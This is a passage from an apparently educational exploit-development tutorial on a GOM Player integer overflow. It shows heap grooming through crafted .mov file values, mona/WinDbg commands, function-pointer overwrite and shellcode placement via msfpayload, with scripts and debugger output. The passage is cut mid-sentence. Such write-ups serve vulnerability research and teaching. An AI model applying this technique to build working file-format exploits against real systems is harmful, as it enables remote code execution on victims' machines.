location as well.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Breakpoint 2 hit\n...truncated...\n\n03b34986 8b4910&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; mov&#160;&#160;&#160;&#160; ecx,dword ptr [ecx+10h] ds:0023:03207238=03207248\n0:000&amp;gt; !py mona info -a 03207238\n...truncated...\n\nAddress 0x03207238 found in \n<strong><span style=\"color: #ffff00\">    _HEAP @ 03200000, Segment @ 03200680<\/span><\/strong>\n                      (         bytes        )                   (bytes)\n      HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state\n<strong><span style=\"color: #ffff00\">        03207220  00000020  00000108  0000000c  [01]   03207228  00000014  00000004   Busy  (hex)<\/span><\/strong>\n                  00000032  00000264  00000012                   00000020  00000004   Busy  (dec)<\/pre>\n<p>And once again, we see that we\u2019re dealing with a 3rd chunk that belongs to the private heap located at 0x03200000.&#160; Now on to our final write location.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Breakpoint 3 hit\n...truncated...\n\n03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03207248=00000000\n0:000&gt; !py mona info -a 03207248\n...truncated...\n\nAddress 0x03207248 found in \n<strong><span style=\"color: #ffff00\">    _HEAP @ 03200000, Segment @ 03200680<\/span><\/strong>\n                      (         bytes        )                   (bytes)\n      HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state\n        <strong><span style=\"color: #ffff00\">03207240  000000a8  00000020  0000000c  [01]   03207248  0000009c  00000004   Busy  (hex)<\/span><\/strong>\n                  00000168  00000032  00000012                   00000156  00000004   Busy  (dec)\n\n      Chunk header size: 0x8 (8)\n      Size initial allocation request: 0x9c (156)<\/pre>\n<p>Great.&#160; Now we see that our data is being written to a 4th and final heap chunk belonging the 0x03200000.&#160; It\u2019s important to recall that the initial (requested) allocation size of this block is 0x9c which if course is due to our integer overflow.<\/p>\n<p>Now what\u2019s the point in all this?&#160; Why did I have you go through each instruction to identify the heap blocks in question?&#160; I promise it wasn\u2019t to fluff out another 1000 words. Let\u2019s summarize the heap chunks that we\u2019ve identified.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Chunk 1 - Address: 03207118&#160;&#160; Size: 0x108&#160;&#160; Desc: Chunk containing our data to be read\nChunk 2 - Address: 032070C8&#160;&#160; Size: 0x50&#160;&#160;&#160; Desc: Chunk containing p2p of write block\nChunk 3 - Address: 03207220&#160;&#160; Size: 0x20&#160;&#160;&#160; Desc: Chunk containing pointer to our write location.\nChunk 4 - Address: 03207240&#160;&#160; Size: 0xa8&#160;&#160;&#160; Desc: Chunk containing our written data<\/pre>\n<p>Now remember, chunk 4 is where our tainted data is being written and therefore, also the location of our overflow.&#160; Now the trick here is to overflow our data into something useful.&#160; With the current heap state, chunk 4 occurs at a location past all of our previous chunks.&#160; If we were somehow able to manipulate the heap so that our chunk would get&#160; allocated to a location prior to chunks 2 or 3, we could overwrite the value of ecx.&#160;&#160; And since we already control edx during our write instruction, controlling ecx would give us the ability to perform an arbitrary write.&#160; As we had demonstrated from the last article in this series, an arbitrary 4-byte write can be used to overwrite an application function pointer, therein allowing us to gain control over the instruction pointer.<\/p>\n<p>So our next hurdle is to determine how exactly we can manipulate our 4th chunk in order to have it placed prior to chunks 2 and 3.&#160; Well, fortunately for us we can control its requested allocation size.<\/p>\n<p>As we discussed in the heap basics section, free chunks are managed by 2 primary structures (Lookaside Lists and Free Lists).&#160; Both structures sort entries on the basis of size.&#160; In this case, all we need to do is to identify a free chunk closest to either the base address of Chunk 2 or 3.&#160; Once we\u2019ve done so, we can modify the requested size of our 4th chunk in order to match that of our target free block.&#160; If everything works as expected, when that chunk is allocated, it\u2019ll get allocated to a location prior to either chunks 2 and 3.<\/p>\n<p>Before we continue however, there\u2019s something that I must address.&#160; One of the biggest issues with heap exploitation is having a deterministic heap state.&#160; This means that the layout of chunks and various heap structures are predictable.&#160; In the case of our GOM vulnerability, we\u2019re dealing with a private heap.&#160; The addresses for these heap chunks will likely change.&#160; Furthermore, the address of the private heap itself will more than likely change from system to system and even between executions.&#160; However, in my testing, the allocations and frees performed on this heap up until the point of our access violation appear to be static.&#160; And by that I mean that the same data of the same size is being allocated on each run of the application.&#160; With that, our heap will likely be in a deterministic state.&#160; Now although the addresses may change, the offset to each chunk will likely remain the same.&#160; With this, we are able to reliably trigger our arbitrary overwrite.<\/p>\n<p>Ok, with that said, let\u2019s take a look at what free chunks we have available to us.&#160; Still at our 4th breakpoint, let\u2019s execute the following 2 commands:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!py mona heap \u2013h 0320000 \u2013t bea\n!py mona heap \u2013h 0320000 \u2013t fea<\/pre>\n<p>These two commands will display the contents of the back end (-bea) and front end allocators (-fea) respectively.&#160; Rather than posting the full output, I\u2019ve broken it down to the following:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; !py mona heap -h 03200000 -t bea\n[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x032072e8, Header: 0x8 bytes, UserPtr: 0x032072f0, Flink: 0x032080d8, Blink: 0x03200178, ChunkSize: 0x4e0 (1248), Usersize: 0x4e0 (1248) \n     ChunkPtr: 0x032080d0, Header: 0x8 bytes, UserPtr: 0x032080d8, Flink: 0x03205dd8, Blink: 0x032072f0, ChunkSize: 0xf30 (3888), Usersize: 0xf30 (3888) \n     ChunkPtr: 0x03205dd0, Header: 0x8 bytes, UserPtr: 0x03205dd8, Flink: 0x03200178, Blink: 0x032080d8, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) \n\n0:000&gt; !py mona heap -h 03200000 -t fea\nLAL [5] @0x03200778, Expected Chunksize 0x28 (40), Flink : 0x032058a0\nLAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205a58\nLAL [11] @0x03200898, Expected Chunksize 0x58 (88), Flink : 0x03207018\nLAL [13] @0x032008f8, Expected Chunksize 0x68 (104), Flink : 0x03202448\nLAL [15] @0x03200958, Expected Chunksize 0x78 (120), Flink : 0x032022b0<\/pre>\n<p>Interesting.&#160; Take a look at LAL [11].&#160; Here we can see a free chunk that begins at 0x03207018.&#160; That\u2019s only 0xB0 bytes away from the start of chunk 2.&#160; If we can place at least that many bytes in our container, we should be able to overwrite the pointer pointed at by @edi-28 at the instruction GSFU!DllUnregisterServer+0x236a3, therefore tainting @ecx.<\/p>\n<p>Ok, so first things first.&#160; We need to manipulate the size of our allocation.&#160; As the allocation size of our write block is dictated by the value supplied to the \u201cNumber of Entries\u201d element within our \u201cstsz\u201d atom, we need to figure out what value to supply in order to have this block allocated to LAL [11].&#160; Now remember, since our integer get\u2019s wrapped, we really only need to worry about the last byte of this element.&#160; In our original MutatedSeed.mov, we supplied a value of 0x80000027.&#160; This was multiplied by 4 resulting in 0x9C (the same if we were to do 0x27 * 4).&#160; So in order to place our allocation within LAL [11] we need to provide a value of 0x50 (the size of LAL [11] \u2013 0x8 bytes for the header) divided by 4, resulting in 0x14.&#160; So let\u2019s go ahead and change our value of the \u201cNumber of Entries\u201d element to 0x80000014.&#160; Save these changes, set the following breakpoint at our first pointer assignment and continue execution.&#160; We\u2019ll then step through until we hit our write instruction.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">0:000&gt; bp GSFU!DllUnregisterServer+0x236a3<\/span><\/strong>\nBp expression 'GSFU!DllUnregisterServer+0x236a3' could not be resolved, adding deferred bp\n0:000&gt; g\nBreakpoint 0 hit\neax=00000000 ebx=000000ec ecx=000000b5 edx=000094b5 esi=03207134 edi=032070d0\neip=03c34983 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202\nGSFU!DllUnregisterServer+0x236a3:\n<strong><span style=\"color: #ffff00\">03c34983 8b4f28          mov     ecx,dword ptr [edi+28h] ds:0023:032070f8=03207228<\/span><\/strong>\n0:000&gt; t\neax=00000000 ebx=000000ec ecx=03207228 edx=000094b5 esi=03207134 edi=032070d0\neip=03c34986 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202\nGSFU!DllUnregisterServer+0x236a6:\n03c34986 8b4910          mov     ecx,dword ptr [ecx+10h] ds:0023:03207238=03207018\n0:000&gt; t\neax=00000000 ebx=000000ec ecx=03207018 edx=000094b5 esi=03207134 edi=032070d0\neip=03c34989 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202\nGSFU!DllUnregisterServer+0x236a9:\n<strong><span style=\"color: #ffff00\">03c34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03207018=00000000<\/span><\/strong><\/pre>\n<p>Excellent!&#160; We\u2019ve managed to place chunk 4 prior to chunk 1.&#160; With our current setup, we\u2019re writing 0xEC bytes to this chunk which is more than enough to overwrite our pointer.&#160; To confirm, we can set a hw breakpoint on 0x032070f8 (@edi-28) to trigger whenever a write attempt is made.&#160; Also, make sure to clear your other breakpoints.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; bc *\n0:000&gt; ba w 4 032070f8\n0:000&gt; g\nBreakpoint 0 hit\neax=00000038 ebx=0000000c ecx=03207018 edx=00005184 esi=03207214 edi=032070d0\neip=03c3498c esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206\nGSFU!DllUnregisterServer+0x236ac:\n<strong><span style=\"color: #ffff00\">03c3498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:032070f8=00005184<\/span><\/strong><\/pre>\n<p>Excellent once again!&#160; Here we\u2019ve managed to overwrite the original pointer value of 0x03207228 to 0x00005184 which is a value contained within our \u201cSample Size Table\u201d!&#160; With that, we now control ecx.<\/p>\n<p>Now for the tricky part.&#160; Since ecx is not used directly in our write instruction, we\u2019ll need to find a series of pointers to pointers in order to accomplish our arbitrary write.&#160; Since we want to control the value within ecx during the write instruction, we\u2019ll need to work from there backwards in order to determine the actual value to provide within our sample file.&#160; Let\u2019s take a look once again at our 4 instructions:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">GSFU!DllUnregisterServer+0x23685                 movzx   edx, byte ptr [esi]\nGSFU!DllUnregisterServer+0x236a3                 mov     ecx, [edi+28h]\nGSFU!DllUnregisterServer+0x236a6                 mov     ecx, [ecx+10h]\nGSFU!DllUnregisterServer+0x236a9                 mov     [ecx+eax*4], edx<\/pre>\n<ul>\n<li>First, during our write instruction we again notice that ecx is added to the value of eax*4.&#160; The resulting number will be the address of our write location.&#160; When trying to determine pointers that can be used to overwrite a function pointer, we\u2019ll first need to subtract (eax *4) from these pointer locations.<\/li>\n<li>Next, we\u2019ll need to take these numbers and find a pointer to them with an offset of \u20130x10.<\/li>\n<li>Finally, to satisfy our last requirement, we\u2019ll need to find a pointer to our previous pointer with an offset of \u20130x28.<\/li>\n<\/ul>\n<p>I\u2019m sure that this sounds incredibly complicated however, let\u2019s take it step by step and attempt to identify which function pointers are available to us.<\/p>\n<blockquote>\n<p><strong>How I Fail:<\/strong><\/p>\n<p>What\u2019s interesting about our predicament here is that to find these pointers, we must use data present within our application and it\u2019s available libraries (including system libraries).&#160; This issue is further complicated by the fact that GOM marks most of it\u2019s modules as rebased which in effect prevents us from using these modules as the addresses will likely change.&#160; If this application could be executed via a web browser or provided us with some level of scripting, we could use a precise heap spray such as <a href=\"https:\/\/www.corelan.be\/index.php\/2013\/02\/19\/deps-precise-heap-spray-on-firefox-and-ie10\/\" target=\"_blank\" rel=\"noopener\"><strong><span style=\"text-decoration: underline\">corelanc0d3r\u2019s DEPS<\/span><\/strong><\/a> to satisfy our requirements by storing our pointers at a reliable place within memory.&#160; However, we don\u2019t have that luxury which forces us to identify the appropriate bytes in our applications modules. And, as I\u2019m sure you know, using OS modules is less than ideal as the addresses within these modules will likely change based on patch and service levels.&#160; However, we must make do with what we have.<\/p>\n<\/blockquote>\n<p>So with that said, let\u2019s begin first by identifying all writable function pointers that exist in modules not marked as rebased.&#160; You can accomplish this by using the following command:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!py mona fwptr \u2013cm rebase=false\n# This may take quite a while.<\/pre>\n<p>Once this has finished, we next need to subtract 0xE4 from these values.&#160; This is the value of eax*4 during our write instruction.&#160; Currently, there\u2019s no easy way to do this as the offset and offset level options provided by !mona only apply to p2p (pointer to pointer) results.&#160; In lieu of that, I\u2019ve written a small python script that will subtract our offset of 0xE4 from the identified offsets.&#160; Remember, we\u2019ll need to manipulate these pointers in reverse in order to have the correct result in our write instruction.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/python\nfrom __future__ import print_function\nimport re\n\nnew = open('updated-wptr.txt','w')\nwith open(&quot;wptr.txt&quot;) as f:\n   content = f.readlines()\n\nfor line in content:\n    line = line.rstrip()\n    ptr1, ptr2 = '',''\n    if re.match(&quot;^0x&quot;, line):\n        ptr1 = re.match(&quot;^0x[a-f0-9]{8}&quot;, line).group(0)\n        if ptr1:\n            ptr2 = hex(int(ptr1, 16) - int(&quot;0xE4&quot;, 16))\n            line = re.sub(ptr1, ptr2, line)\n    print(line, file=new)\n\nnew.close()<\/pre>\n<p>This will leave the original wptr.txt intact and write our modified data to update-ptr.txt.&#160; Once that is complete, we need to take each one of these pointers and find a pointer to them with an offset of negative offset of 0x10.&#160; This can be accomplished by the following command:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!py mona find \u2013cm rebase=false \u2013t file \u2013p2p \u2013offset 0x10 \u2013offsetlevel 1 \u2013s updated-wptr.txt\n# This will also take an incredibly long time.&#160; The output will be written to find.txt<\/pre>\n<p>Once this has completed, we now need to identify which writable function pointers are called after our overwrite occurs.&#160; To do this, I used a bit of bash-fu to isolate the writable function pointers that we can control.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">grep -Po &quot;(?&lt;=\\ at\\ )0x[a-f0-9]{8}&quot; find.txt |sort -u |sed 's\/^\/bp \/g;s\/$\/ &quot;r;gc&quot;\/g'<\/pre>\n<p>In my case, I identified just over 2500 function pointers that we have the ability to manipulate.&#160; Your results may vary depending.&#160; Let\u2019s hold on to this data for a moment and look back at our \u201cstsz\u201d block.&#160; Earlier when we set our hw breakpoint we saw that the value 0x00005184 was being written to poi(@edi+0x28).&#160; This value actually occurs twice within our \u201cstsz\u201d atom.&#160; In order to identify exactly what data is being written, let\u2019s go ahead and replace the entire \u201cSample Size Table\u201d (not the entire atom) with a cyclical pattern.&#160; Our \u201cSample Size Table\u201d is 0xEC (236) bytes in length so let\u2019s generate a pattern of the same size.&#160; We can use !mona to accomplish this by executing the following command:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!py mona pc 236<\/pre>\n<p>And once again, let\u2019s set a breakpoint on our first pointer assignment.&#160; This time, we\u2019ll configure the breakpoint to also apply a write access breakpoint on poi(edi+0x28).<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">bp GSFU!DllUnregisterServer+0x236a3 \/1 &quot;ba w 4 (edi+28);gc&quot;\n...truncated...\n\neax=00000038 ebx=0000000c ecx=03207018 edx=34416835 esi=03207214 edi=032070d0\neip=03c3498c esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206\nGSFU!DllUnregisterServer+0x236ac:\n<strong><span style=\"color: #ffff00\">03c3498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:032070f8=34416835<\/span><\/strong><\/pre>\n<p>Great. Now using !mona we can find the offset.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; !py mona po 34416835\nHold on...\nLooking for 5hA4 in pattern of 500000 bytes\nLooking for 4Ah5 in pattern of 500000 bytes\n - Pattern 4Ah5 (0x34416835 reversed) found in cyclic pattern at position 224<\/pre>\n<p>Ok.&#160; Moving right along.&#160; So offset 224 (0xE4) contains the value that will be used to overwrite our pointer located at poi(edi+0x28).&#160; Let\u2019s go ahead and change this to any writable function pointer just so that we don\u2019t trigger a read or write access violation.&#160; I randomly selected 0x7760ca30, a pointer to a pointer that will eventually point to a writable region within ole32.dll***.&#160; Let\u2019s save the file and again set a breakpoint on our first pointer assignment so that it triggers whenever the pointer has been overwritten.<\/p>\n<blockquote>\n<p>0x7760ca30 : ptr-16(-10h) to 0x7760ca40 (-&gt; ptr to&#160; 0x7760ca40 gets called from ole32.dll at 0x775e4454 (CALL DWORD PTR DS) **&#160; |&#160; {PAGE_READWRITE} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6168 (C:\\WINDOWS\\system32\\ole32.dll)<\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">bp GSFU!DllUnregisterServer+0x236a3 \/1 &quot;ba w 4 (edi+28);gc&quot;\n...truncated...\n\neax=00000038 ebx=0000000c ecx=03227018 edx=7e4711f8 esi=03227214 edi=032270d0\neip=03c3498c esp=0012bdb4 ebp=03227120 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202\nGSFU!DllUnregisterServer+0x236ac:\n<strong><span style=\"color: #ffff00\">03c3498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:032270f8=7e4711f8<\/span><\/strong><\/pre>\n<p>Excellent.&#160; Now, let\u2019s clear our breakpoints and this time, apply all 2500+ breakpoints from bash-fu output.<\/p>\n<p>Upon execution, you\u2019ll see a number of breakpoints get hit.&#160; Out of my 2500 breakpoints, 20 were hit prior to triggering an access violation at GSFU!DllUnregisterServer+0x236af.&#160; Of the 20 possible function pointers that we can use, I\u2019ve chosen to go with the following.&#160; I\u2019ll explain exactly why in just a bit.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0x7e419dc2 : ptr-16(-10h) to 0x7e4712ec (-&gt; ptr to&#160; 0x7e4712ec gets called from USER32.dll at 0x7e46c6f3 (CALL DWORD PTR DS) **&#160; |&#160; {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\\WINDOWS\\system32\\USER32.dll)<\/pre>\n<p>So with this, let\u2019s set out pointer to 0x7e419dc2 (this should be at file offset 0x1403).&#160; Save your changes and let\u2019s observe what happens in the debugger.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">(b58.dc0): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=008a0650 ebx=0018033a ecx=035bfe24 edx=00000002 esi=00000002 edi=00a22f78\neip=41683641 esp=035bfddc ebp=035bfdfc iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202\n<strong><span style=\"color: #ffff00\">41683641 ??              ???<\/span><\/strong><\/pre>\n<p>Excellent!&#160; So here we\u2019ve managed to overwrite the function pointer with the value adjacent to our pointer in MutatedSeed.mov (0x41683641).&#160; The reason for this is obvious of course as our vulnerable function writes in 4 byte increments.&#160; So during one iteration our pointer will be used to set our base write address (from this point forward) to 0x7e4713d0.&#160; On our next iteration, our data from our cyclical pattern, Ah6A (0x41683641), will be used to overwrite our function pointer.<\/p>\n<p>Now that we\u2019ve gained control over the instruction pointer, we still need to find a way to execute shellcode.&#160; At this point, we would typically look for a pointer on the stack that will lead us back to a location in memory that we control.&#160; However, as you can see when the function pointer is called, esp is set to 0x035bfddc which is very far away from our stack used during our write function (stack beginning at 0x00127000).&#160; Now we could look for a way to pivot our stack pointer back to a location we control however it is unlikely that we will be successful.&#160; Typically stack pivots allow you to shift the stack pointer up rather than down.&#160; Because of this, the gadgets available to us will be limited.<\/p>\n<p>However, there is actually a significantly easier method available to us in order to gain code execution.&#160; Think back to our vulnerable function.&#160; Its job is to read the contents of the sample size table and write it to a location defined within memory.&#160; In the example above, we manipulated ecx used during our write instruction to point to a writeable location in memory allowing us to overwrite a function pointer.&#160; However, what would happen if we were to provide additional data to be written other than our new function pointer address?&#160; The behavior of the function would not change.&#160; We would overwrite the function pointer, and then continue to write the contents of our sample size table adjacent to this function pointer.&#160; As we\u2019re already using the static address of the function pointer, we can just as easily use this region in order to store our shellcode.<\/p>\n<p>Looking back at our file however, we can see that after overwriting our function pointer with 0x41683641, we\u2019re only writing another 4 bytes.&#160; This means that we\u2019ll have to expand our sample size table in order to accommodate our shellcode.&#160; For the purposes of this document, I\u2019ll only be using a simple windows\/exec payload and of course, popping calc.&#160; This means that we will need an additional 200 bytes (0xC8) in our sample size table.&#160; To accommodate this, let\u2019s go ahead and modify the size element of the \u2018stsz\u2019 atom from 0x00000100 to 0x00000200 (file offset 0x130F).&#160; This will give us an additional 0x100 bytes of space.&#160; Now let\u2019s also go ahead and insert an additional 0x100 bytes beginning at file offset 0x140F.&#160; For simplicity sake, let\u2019s insert 0x100 bytes of NOPs (0x90).<\/p>\n<p>Next, we\u2019ll need to set the value used to overwrite our function pointer to the location of our function pointer +0x4.&#160; This location will contain the start of our shellcode.&#160; As our function pointer calls the DWORD PTR located at 0x7e4713d0, let\u2019s replace the 4 bytes located at file offset 0x1407 with 0x7e4713d4.<\/p>\n<p>Next, let\u2019s generate our shellcode using the following syntax.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">msfpayload windows\/exec CMD=&quot;calc.exe&quot; R &gt; foo.raw<\/pre>\n<p>With our pointer set and shellcode created, you\u2019d probably assume that we would just paste out shellcode and be good to go.&#160; However, there\u2019s one last hurdle we need to overcome.&#160; Remember back to when we were dissecting our function?&#160; Our data is first read in 4 byte chunks.&#160; The byte order of each 4 byte chunk is then reversed and written to our intended location.&#160; As such, we can\u2019t simply paste our shellcode as it will be written improperly.&#160; In order to work around this issue, I used the following short python code in order to reverse the byte order of each 4 byte chunk.&#160; The results of which are written to foo.fixed.raw.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/python\n\nout = []\nwith open(&quot;foo.raw&quot;, &quot;r&quot;) as f:\n  byte = f.read(4)\n  while byte != &quot;&quot;:\n    out.append(byte[::-1])\n    byte = f.read(4)\n\nwith open(&quot;foo.fixed.raw&quot;, &quot;w&quot;) as f:\n  for x in out:\n    f.write(x)<\/pre>\n<p>With our shellcode fixed, let\u2019s go ahead and paste it into our file beginning at file offset 0x140B.&#160; Finally. save the changes and let\u2019s observe the results in our debugger.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow7.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px\" title=\"RCA-Integer-Overflow-7\" border=\"0\" alt=\"RCA-Integer-Overflow-7\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/05\/RCAIntegerOverflow7_thumb.png\" width=\"504\" height=\"389\" \/><\/a><\/p>\n<p>And with a bit of luck, calc.exe should be launched in turn demonstrating full exploitation of our issue.&#160; A copy of the proof of concept used to trigger this bug can be downloaded here.<\/p>\n<h5><a name=\"Thoughts\"><\/a>Thoughts on This Attack<\/h5>\n<p>Before we continue, I\u2019d like to cover a few thoughts I had during the exploitation process.<\/p>\n<p>First, using this attack vector we chose to target the pointer located at [edi+0x28].&#160; In doing so, we had to identify function pointers which met 2 sets of criteria.&#160; First, we needed a pointer where we could subtract the offset 0xE4 (due to our pointer used by (ecx+eax*4)).&#160; Then, we needed to identify pointers to these pointers which could account for an offset of 0x10 (due to mov ecx, [ecx+0x10]).&#160; As each pointer was contained within their own respective heap chunks, wouldn\u2019t it have been easier to target the pointer pointed to by [ecx+0x10]?&#160; The answer to this is, well, \u201cmaybe\u201d.&#160; Getting our tainted data to overwrite the pointer located at [ecx-10] would be as simple as it was to overwrite the pointer located at [edi+0x28].&#160; We would simply need to change our allocation size in order to place it prior to this chunk, then write enough data to overwrite the pointer.&#160; Doing so would provide us to a significantly greater range of writable function pointers.&#160; Many of which would provide us with a register state that would allow us to pivot the stack pointer back to our shellcode.&#160; However, the problem with this method is that due to the heap layout, we would also overwrite several other heap chunks in the process.&#160; Doing so would mean that we would have to contend with serious heap corruption, most of which we may not be able to correct \u2013 at least not reliably.&#160; As each element within the application is essentially allocated into it\u2019s own heap chunk, we can manipulate the file structure in order to control, at least to some extent, the heap layout.&#160; However, during my testing I was unable to create a heap layout which allowed me to overwrite the pointer located at [ecx+0x10] without corrupting other heap blocks in the process.&#160; Because of this, the method of tainting the pointer located at [edi+0x28] was chosen.<\/p>\n<p>Next, out of the 20 or so function pointers that were called between the time our heap corruption occurred and an access violation was triggered, only one was chosen.&#160; Why did I choose the pointer that I did?&#160; Well, if you recall, we manipulated the write instruction to overwrite our target function pointer and then continue writing beyond it in order to place our shellcode.&#160; If you were to look at most of these regions which contain writable function pointers, you may notice that several function pointers are stored adjacent to one another.&#160; That means that if we were to overwrite a function pointer and continue writing beyond it, we could inadvertently overwrite an adjacent function pointer.&#160; Doing so may make it difficult to reliably control the flow of execution as other, \u201caccidentally\u201d overwritten function pointers may get called prior to our intended target.&#160; However, this also opens up new possibilities.&#160; In the paragraph above, I mentioned that the goal would be to overwrite a function pointer that would provide us with a register where we could use a ROP gadget in order to pivot back to our shellcode.&#160; Well, using this type of attack, we now know that we don\u2019t need to be precise in overwriting a 